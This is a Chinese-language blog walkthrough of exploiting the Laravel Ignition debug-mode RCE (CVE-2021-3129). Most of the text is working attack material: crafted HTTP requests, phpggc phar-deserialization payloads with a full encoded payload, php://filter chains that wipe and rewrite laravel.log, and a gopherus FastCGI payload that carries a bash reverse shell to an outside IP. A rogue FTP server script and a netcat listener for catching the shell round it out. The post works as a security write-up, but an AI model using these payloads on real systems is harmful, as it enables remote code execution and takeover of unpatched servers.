

HacKerQWQ的博客空间

laravel RCE漏洞(CVE-2021-3129)利用

HacKerQWQ的博客空间

laravel RCE漏洞(CVE-2021-3129)利用

漏洞利用

Word count: 9.6kReading time: 57 min

 2021/09/15   Share

• 
• 
• 
• 
• 

原文链接：https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/

漏洞简介

Laravel是一套简洁、开源的PHP Web开发框架，旨在实现Web软件的MVC架构。

2021年01月12日，Laravel被披露存在一个远程代码执行漏洞（CVE-2021-3129）。当Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。

漏洞分析

环境搭建使用github的镜像

https://github.com/SNCKER/CVE-2021-3129

Laravel在第6版之后，debug模式使用了ignition组件来美化堆栈信息，除此之外，ignition还附带了“一键修复bug”的功能，例如：如果我们我们刚才搭建环境的时候出现的那个“未指定应用加密密钥”的报错，我们仅仅点击了“Generate app key”这个按钮，便成功将这个bug修复了。

抓包看调用过程

更多solutions

调用逻辑如下

使用src/Http/Controllers/ExecuteSolutionController.php下的__invoke方法调用solution的run方法

问题点出现在src/Solutions/MakeViewVariableOptionalSolution.php下的run方法

主要代码可以简化为

file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'],$output);

先读取文件再写回去，这样就存在phar反序列化漏洞，或者本地使用了fpm

就可以结合ftp的被动模式远程执行任意代码。

漏洞检测

发送数据包

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.16.145:8888
Content-Length: 112
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json
Origin: http://192.168.16.145:8888
Referer: http://192.168.16.145:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{
"viewFile":"xxx"
}}

假如存在漏洞并且开启了debug模式，则会出现file_get_contents no such file错误

漏洞利用

phar反序列化

前提：这个漏洞需要开发人员开启了文件上传功能，或者通过其他方式使文件落地，因为phar协议不支持远程读取

首先使用phpggc生成phar文件

php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /root/phar.gif
或
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o /root/phar.gif

生成phar.gif，这里直接上传docker根目录

然后发post请求触发phar反序列化

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.16.145:8888
Content-Length: 158
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json
Origin: http://192.168.16.145:8888
Referer: http://192.168.16.145:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{
"viewFile":"phar:///phar.gif/test.txt",
"variableName":"test"
}}

利用laravel.log实现phar反序列化

前置知识

思路：通过file_put_conentes+file_get_contents+php伪协议php://filter的字符串过滤器功能将laravel.log清空，然后再写入phar反序列化的payload。

清空字符串的思路是

1. convert.iconv.utf-8.utf-16be将utf-8转换为utf-16be
2. convert.quoted-printable-encode打印所有不可见字符
3. convert.iconv.utf-16be.utf-8将utf-16转为utf-8
4. convert.base64-decode进行base64解码即可清空log文件

具体：https://xz.aliyun.com/t/9030?page=1#toc-6

效果：

payload:

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

利用步骤

1. 发送数据包清空laravel.log文件

   POST /_ignition/execute-solution HTTP/1.1
   Host: 192.168.137.130:8888
   Cache-Control: max-age=0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   Accept-Encoding: gzip, deflate
   Accept-Language: zh-CN,zh;q=0.9
   Connection: close
   Content-Type: application/json
   Content-Length: 328
   
   {
     "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
     "parameters": {
       "variableName": "username",
       "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
     }
   }

   

   

2. 利用phpggc生成phar反序列化poc

   php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

   

   在末尾加上a防止生成两个poc导致失败，得到

   =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=44=00=6A=00=4E=00=51=00=6D=00=45=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=44=00=6A=00=4E=00=51=00=6D=00=45=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=52=00=7A=00=71=00=62=00=30=00=54=00=6A=00=48=00=4F=00=76=00=37=00=31=00=6A=00=30=00=4F=00=30=00=4C=00=46=00=4B=00=32=00=39=00=68=00=78=00=64=00=4B=00=42=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a

3. 发送数据包，增加log文件前缀，用于对齐

   POST /_ignition/execute-solution HTTP/1.1
   Host: 192.168.137.130:8888
   Cache-Control: max-age=0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   Accept-Encoding: gzip, deflate
   Accept-Language: zh-CN,zh;q=0.9
   Connection: close
   Content-Type: application/json
   Content-Length: 163
   
   {
     "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
     "parameters": {
       "variableName": "username",
       "viewFile": "AA"
     }
   }

4. 发送poc

   POST /_ignition/execute-solution HTTP/1.1
   Host: 192.168.137.130:8888
   Cache-Control: max-age=0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   Accept-Encoding: gzip, deflate
   Accept-Language: zh-CN,zh;q=0.9
   Connection: close
   Content-Type: application/json
   Content-Length: 5058
   
   {
     "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
     "parameters": {
       "variableName": "username",
       "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=44=00=6A=00=4E=00=51=00=6D=00=45=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=44=00=6A=00=4E=00=51=00=6D=00=45=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=52=00=7A=00=71=00=62=00=30=00=54=00=6A=00=48=00=4F=00=76=00=37=00=31=00=6A=00=30=00=4F=00=30=00=4C=00=46=00=4B=00=32=00=39=00=68=00=78=00=64=00=4B=00=42=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
     }
   }

   

5. 清空干扰字符，只留下poc

   POST /_ignition/execute-solution HTTP/1.1
   Host: 192.168.137.130:8888
   Cache-Control: max-age=0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   Accept-Encoding: gzip, deflate
   Accept-Language: zh-CN,zh;q=0.9
   Connection: close
   Content-Type: application/json
   Content-Length: 299
   
   {
     "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
     "parameters": {
       "variableName": "username",
       "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
     }
   }

   

   

这一步可能会出现异常，导致无法正确清理Log文件。如果出现这种状况，可以重新从第一步开始尝试。

6. phar反序列化(绝对路径)

   POST /_ignition/execute-solution HTTP/1.1
   Host: 192.168.137.130:8888
   Cache-Control: max-age=0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   Accept-Encoding: gzip, deflate
   Accept-Language: zh-CN,zh;q=0.9
   Connection: close
   Content-Type: application/json
   Content-Length: 206
   
   {
     "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
     "parameters": {
       "variableName": "username",
       "viewFile": "phar:///src/storage/logs/laravel.log/test.txt"
     }
   }

   

利用FTP SSRF攻击PHP-FPM执行任意代码

漏洞简介

FTP的被动模式可以指定客户端在上传/下载文件时使用指定端口，而FPM的端口只要向其传输二进制数据，就可以执行任意代码。

在laravel中，使用file_get_contents下载恶意代码，然后在file_put_contents回去时指定fpm监听的端口，造成任意代码执行。

漏洞利用

1. 利用gopherus生成攻击fastcgi的payload

   python2 gopherus.py --exploit fastcgi
   /src/app/Models/User.php
   bash -c 'exec bash -i &>/dev/tcp/139.224.247.105/6666 <&1'

   生成payload

   gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH110%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%18SCRIPT_FILENAME/src/app/Models/User.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00n%04%00%3C%3Fphp%20system%28%27bash%20-c%20%27exec%20bash%20-i%20%26%3E/dev/tcp/139.224.247.105/6666%20%3C%261%27%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

2. 在vps上搭建ftp服务

   将payload的_后的数据部分替换掉下面的payload变量

   # -*- coding: utf-8 -*-
   # @Time    : 2021/1/13 6:56 下午
   # @Author  : tntaxin
   # @File    : ftp_redirect.py
   # @Software:
   
   import socket
   from urllib.parse import unquote
   
   # 对gopherus生成的payload进行一次urldecode
   payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH110%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%18SCRIPT_FILENAME/src/app/Models/User.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00n%04%00%3C%3Fphp%20system%28%27bash%20-c%20%27exec%20bash%20-i%20%26%3E/dev/tcp/139.224.247.105/6666%20%3C%261%27%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
   payload = payload.encode('utf-8')
   
   host = '0.0.0.0'
   port = 23
   sk = socket.socket()
   sk.bind((host, port))
   sk.listen(5)
   
   # ftp被动模式的passvie port,监听到1234
   sk2 = socket.socket()
   sk2.bind((host, 1234))
   sk2.listen()
   
   # 计数器，用于区分是第几次ftp连接
   count = 1
   while 1:
       conn, address = sk.accept()
       conn.send(b"200 \n")
       print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
       if count == 1:
           conn.send(b"220 ready\n")
       else:
           conn.send(b"200 ready\n")
   
       print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
       if count == 1:
           conn.send(b"215 \n")
       else:
           conn.send(b"200 \n")
   
       print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
       if count == 1:
           conn.send(b"213 3 \n")  
       else:
           conn.send(b"300 \n")
   
       print(conn.recv(20))  # EPSV\r\n'
       conn.send(b"200 \n")
   
       print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
       if count == 1:
           conn.send(b"227 127,0,0,1,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
       else:
           conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则：35*256+40=9000
   
       print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
       if count == 1:
           conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
           # 新建一个socket给服务端返回我们的payload
           print("建立连接!")
           conn2, address2 = sk2.accept()
           conn2.send(payload)
           conn2.close()
           print("断开连接!")
       else:
           conn.send(b"150 \n")
           print(conn.recv(20))
           exit()
   
       # 第一次连接是下载文件，需要告诉客户端下载已经结束
       if count == 1:
           conn.send(b"226 \n")
       conn.close()
       count += 1

   这个脚本做的事情很简单，就是当客户端第一次连接的时候返回我们预设的payload；当客户端第二次连接的时候将客户端的连接重定向到127.0.0.1:9000，也就是目标主机上php-fpm服务的端口，从而造成SSRF，攻击其php-fpm。

   运行脚本

   python3 ftp.py

3. vps开启监听

   nc -lnvvp 6666

   

4. 构造请求，触发攻击

   POST /_ignition/execute-solution HTTP/1.1
   Host: 192.168.16.145:8888
   Cache-Control: max-age=0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   Accept-Encoding: gzip, deflate
   Accept-Language: zh-CN,zh;q=0.9
   Connection: close
   Content-Type: application/json
   Content-Length: 193
   
   {
     "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
     "parameters": {
       "variableName": "username",
       "viewFile": "ftp://aaa@139.224.247.105:23/123"
     }
   }

   拿到shell

   

Author：HacKerQWQ

原文链接：https://hackerqwq.github.io/2021/09/15/laravel%20RCE%E6%BC%8F%E6%B4%9E-CVE-2021-3129-%E5%88%A9%E7%94%A8/

发表日期：September 15th 2021, 11:33:47 pm

更新日期：September 16th 2021, 3:52:34 pm

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

• Next Post
  渗透测试之提权篇三(Windows提权)
• Previous Post
  渗透测试之提权篇二(Linux提权)

Powered by Hexotheme Archer

PV: :)

CATALOG

1. 1. 漏洞简介
2. 2. 漏洞分析
3. 3. 漏洞检测
4. 4. 漏洞利用
   1. 4.1. phar反序列化
   2. 4.2. 利用laravel.log实现phar反序列化
      1. 4.2.1. 前置知识
      2. 4.2.2. 利用步骤
   3. 4.3. 利用FTP SSRF攻击PHP-FPM执行任意代码
      1. 4.3.1. 漏洞简介
      2. 4.3.2. 漏洞利用



• Archive
• Tag
• Cate

Total : 163



2023

• 02/23Despercate Cat 带来的Tomcat利用思路

2022

• 10/02利用链神器-tabby使用
• 10/01neo4j图形数据库笔记
• 09/24PHP反序列化利用面总结
• 09/22Webshell免杀之php(WebShell免杀篇一)
• 09/21source map源码泄露利用
• 09/01中间件利用面
• 08/31java基础之jndi
• 08/24java基础之RMI
• 08/23Shiro漏洞分析及利用
• 08/20Jboss利用面整理
• 08/18富文本编辑器漏洞整理
• 07/27内网渗透之横向移动
• 07/18javaweb代码审计学习(OGNL表达式注入)
• 06/18(p神)环境变量命令执行及nginx机制的LFI利用
• 05/05Web安全之机器学习算法
• 01/24Docker逃逸几种方法
• 01/13渗透测试之反弹shell合集
